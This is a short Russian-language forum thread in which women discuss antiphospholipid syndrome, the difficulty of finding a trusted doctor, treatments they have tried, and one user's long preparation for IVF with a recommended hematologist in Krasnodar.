Да, уж... К большому сожалению найти хорошего врача, которому можно доверять, очень сложно((( Попробуй еще поискать хорошего ревматолога - они иногда даже лучше гематологов лечат АФС! Удачных поисков!
0
24.06.2016
Ответить
Тюмень
ничего себе РЕ выдала( у меня тоже афс повышены все показатели IgM <50, делала 8 проц ПФ не помогло, хочу попробовать ВЛОК и ИГ
0
07.06.2016
Ответить
Краснодар
Я уже 3 года готовлюсь к своему первому протоколу, сначала эндокринолог не пускал - год лечилась, потом ипотеку взяли, пока денег насобирали, уже собрались на ЭКО, выяснилось что я мутант... Вот последние 7 месяцев с гематологом дружим 
! Гематолог у меня очень классная - Воликова Виктория Сергеевна, принимает в клинике "Екатерининская" в Краснодаре. А за время нашей "дружбы" лекарств было принято, да уколото... в принципе не больше чем у многих других девочек, но все равно много... Но жаловаться не буду, самое главное, что цель близка (по крайней мере ближе, чем 3 года назад) и все будет хорошо!
0
04.01.2014
Ответить
